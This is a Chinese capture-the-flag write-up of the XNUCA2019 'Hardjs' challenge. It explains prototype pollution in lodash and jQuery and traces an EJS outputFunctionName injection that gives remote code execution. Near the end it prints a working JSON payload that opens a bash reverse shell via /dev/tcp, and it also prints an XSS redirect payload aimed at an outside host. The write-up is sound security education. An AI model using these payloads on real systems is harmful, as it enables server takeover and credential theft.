0x00 前言

这次XNUCA2019的WEB题四道只有两道被解出,其中这道Hardjs是做出人数较少的一道,还是比较有意思的,所以在此分享一下解题思路。

0x01 初步分析

题目直接给了源码,所以可以进行一下审计。打开源码目录,最显眼的就是server.jsrobot.js

先分析server.js

可以发现这个服务器是nodejs,并且用了express这个框架,模板渲染引擎则用了ejs。

审计一下代码可以看到有以下的路由:

  • / 首页
  • /static 静态文件
  • /sandbox 显示用户HTML数据用的沙盒
  • /login 登陆
  • /register 注册
  • /get json接口 获取数据库中保存的数据
  • /add 用户添加数据的接口

除了/static/login/register以外,所以路由在访问的时候都会经过一个auth函数进行身份验证

因为做了转义处理,所以应该是没有Sql注入的问题,需要从其他方面下手。

另外在初始化的时候有这么一句

app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())

所以我们可以通过json格式传递参数到服务端

0x02 发现问题

/get中我们可以发现,查询出来的结果,如果超过5条,那么会被合并成一条。具体的过程是,先通过sql查询出来当前用户所有的数据,然后一条条合并到一起,关键代码如下

var sql = "select `id`,`dom` from  `html` where userid=? ";
var raws = await query(sql,[userid]);
var doms = {}
var ret = new Array(); 

for(var i=0;i<raws.length ;i++){
    lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));

    var sql = "delete from `html` where id = ?";
    var result = await query(sql,raws[i].id);
}

其中的lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));恰好是前段时间公布的CVE-2019-10744的攻击对象,再看一下版本刚好是4.17.11,并没有修复这个漏洞。所以我们可以利用这个漏洞进行原型链污染。

0x02.1 原型链污染

这里简单介绍一下原型链污染(prototype pollution)

Javascript里每个类都有一个prototype的属性,用来绑定所有对象都会有变量与函数,对象的构造函数又指向类本身,同时对象的__proto__属性也指向类的prototype。因此,有以下关系:

并且,类的继承是通过原型链传递的,一个类的prototype属性指向其继承的类的一个对象。所以一个类的prototype.__proto__等于其父类的prototype,当然也等于该类对象的__proto__.__proto__属性。

我们获取某个对象的某个成员时,如果找不到,就会通过原型链一步步往上找,直到某个父类的原型为null为止。所以修改对象的某个父类的prototype的原型就可以通过原型链影响到跟此类有关的所有对象。

当然,如果某个对象本身就拥有该成员,就不会往上找,所以利用这个漏洞的时候,我们需要做到的是找到某个成员被判断是否存在并使用的代码。

0x02.2 发现利用点

server.js中,有一处很符合我们要寻找的利用点,即auth函数中判断用户的部分

function auth(req,res,next){
    // var session = req.session;
    if(!req.session.login || !req.session.userid ){
        res.redirect(302,"/login");
    } else{
        next();
    }    
}

在我们没有登陆以前,req.seesion.loginreq.session.userid是undefined的,而session对象的父类肯定包含了Object,所以我们只要修改Object中的这部分代码就可以绕过登陆,以admin身份访问网页。

0x03 尝试XSS攻击

知道了上述的利用点以后,回去审计robot.py可以发现,flag值是存在环境变量中的,并且是admin的密码,robot会打开本地页面的首页/(原先是会自动跳转到/login,当然我们现在可以bypass掉这个跳转),然后robot会根据form的name填写用户名和密码,并点击submit按钮。

因为首页会自动加载我们保存的html数据,所以这个时候我的思路是可以构造一个form,但是提交地址是自己的服务器,这样就可以接受到来自bot的flag了。

再加上robot.py中的以下细节,我认为从前端下手应该是出题人预留的预期解之一。``

chrome_options.add_argument('--disable-xss-auditor')
...
    print(client.current_url)

所以审计前端的app.js

发现所有我们保存在数据库的数据是动态加载到一个有sanbox标签的iframe中,这就导致即使我们可以写一个表单,也无法被提交,我们的数据中的js是不会被执行的。

不过恰巧的是app.js使用的Jquery前段时间也有一个原型链污染漏洞被曝出,而且在页面中也使用到了

for(var i=0 ;i<datas.length; i++){
    $.extend(true,allNode,datas[i])
}

具体的CVE号是CVE-2019-11358,利用方法类似上文的漏洞。

如果找到利用链应该是可以成功攻击的,不过遗憾的是本人水平有限,没能在比赛的时候找到攻击方法。

投稿的时候发现官方WP出了,并且给出了这种解法的攻击payload,供大家参考

{"type":"test","content":{"__proto__": {"logger": "<script>window.location='http://wonderkun.cc/hack.html'</script>"}}}

0x04 挖掘后端攻击方法

因为前端攻击失败,就希望通过后端找到可利用的点。

审计server.js的时候可以看到,返回页面是通过res.render(xxx)渲染的,所以尝试从这里下手,跟进模板渲染寻找符合我们上述条件的利用点。

因为代码较多,所以以下分析省略部分无关代码。

通过跟进/loginres.render

res.render = function render(view, options, callback) {
  var app = this.req.app;
  var done = callback;
  var opts = options || {};
  var req = this.req;
  var self = this;

  ....

  // render
  app.render(view, opts, done);
};

可以发现来到了response.js的中对res.render的定义,并且调用了app.render,同时,将进行了参数配置传递。继续跟进,来到application.js

app.render = function render(name, options, callback) {
  var cache = this.cache;
  var done = callback;
  var engines = this.engines;
  var opts = options;
  var renderOptions = {};
  var view;
  ....
  // render
  tryRender(view, renderOptions, done);
};

发现调用了tryRender,并继续传递配置,我们继续跟进

function tryRender(view, options, callback) {
  try {
    view.render(options, callback);
  } catch (err) {
    callback(err);
  }
}

调用了view.render,继续跟进就来到了view.js

View.prototype.render = function render(options, callback) {
  debug('render "%s"', this.path);
  this.engine(this.path, options, callback);
};

调用了engine,终于来到了模板渲染引擎ejs.js中。

exports.renderFile = function () {
  var args = Array.prototype.slice.call(arguments);
  var filename = args.shift();
  var cb;
  var opts = {filename: filename};
  var data;
  var viewOpts;

  ...

  return tryHandleCache(opts, data, cb);
};

发现跳到renderFile函数,并且又调用了tryHandleCache,我这里省略了opts传递的代码。

function tryHandleCache(options, data, cb) {
  var result;
  ...
      result = handleCache(options)(data);
  ...
}

这里可以看到handleCache返回了一个函数,并且将data传入进行执行,而这个result就是最后生成的页面了,这个时候可以感觉到,有RCE的可能性。继续跟进。

function handleCache(options, template) {
  var func;
  var filename = options.filename;
  var hasTemplate = arguments.length > 1;
  ...
  func = exports.compile(template, options);
  if (options.cache) {
    exports.cache.set(filename, func);
  }
  return func;
}

跟进生成func的compile

exports.compile = function compile(template, opts) {
  var templ;
  ...
  templ = new Template(template, opts);
  return templ.compile();
};

发现新建了一个Template对象并执行其成员方法得到返回的func。我们跟进其成员方法compile查看。

compile: function () {
    var src;
    var fn;
    var opts = this.opts;
    var prepended = '';
    var appended = '';
    var escapeFn = opts.escapeFunction;
    var ctor;

    if (!this.source) {
      this.generateSource();
      prepended += '  var __output = [], __append = __output.push.bind(__output);' + '\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      if (opts._with !== false) {
        prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
        appended += '  }' + '\n';
      }
      appended += '  return __output.join("");' + '\n';
      this.source = prepended + this.source + appended;
    }

    ...
      src = this.source;
    ...
    try {
      if (opts.async) {
        // Have to use generated function for this, since in envs without support,
        // it breaks in parsing
        try {
          ctor = (new Function('return (async function(){}).constructor;'))();
        }
        catch(e) {
          if (e instanceof SyntaxError) {
            throw new Error('This environment does not support async/await');
          }
          else {
            throw e;
          }
        }
      }
      else {
        ctor = Function;
      }
      fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
    }

    ...

    // Return a callable function which will execute the function
    // created by the source-code, with the passed data as locals
    // Adds a local `include` function which allows full recursive include
    var returnedFn = function (data) {
      var include = function (path, includeData) {
        var d = utils.shallowCopy({}, data);
        if (includeData) {
          d = utils.shallowCopy(d, includeData);
        }
        return includeFile(path, opts)(d);
      };
      return fn.apply(opts.context, [data || {}, escapeFn, include, rethrow]);
    };
    returnedFn.dependencies = this.dependencies;
    return returnedFn;
  },

这段代码中

if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }

就是我们一直寻找的东西,这个对象会与其他生成的模板字符串一起拼接到this.source,然后传递给src,接着是fn,然后以returnedFn返回并最后被执行。而一路跟进的时候可以发现,并没有outputFunctionName的身影,所以只要给Object的prototype加上这个成员,我们就可以实现从原型链污染到RCE的攻击过程了!

0x05 成功攻击

可以发现process是可以访问到的,所以我们可以用来反弹shell

最后的payload如下

{
    "content": {
        "constructor": {
            "prototype": {
            "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xx 0>&1\"');var __tmp2"
            }
        }
    },
    "type": "test"
}

发送5次请求,然后访问/get进行原型链污染,最后访问//login触发render函数,成功反弹shell并getflag

0x06 总结

原型链危害不小,不过找到合适的利用点也很花费审计的时间和精力,原先还以为这是个非预期,投稿的时候看到WP才知道这也在出题师傅的意料之中,tql。

第一次投稿,可能有不少错误,望各位师傅斧正,谢谢。

0x07 参考链接

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

https://www.xctf.org.cn/library/details/17e9b70557d94b168c3e5d1e7d4ce78f475de26d/

https://snyk.io/blog/snyk-research-team-discovers-severe-prototype-pollution-security-vulnerabilities-affecting-all-versions-of-lodash/

https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs

https://www.anquanke.com/post/id/177093

点击收藏 | 2 关注 | 2 打赏
登录 后跟帖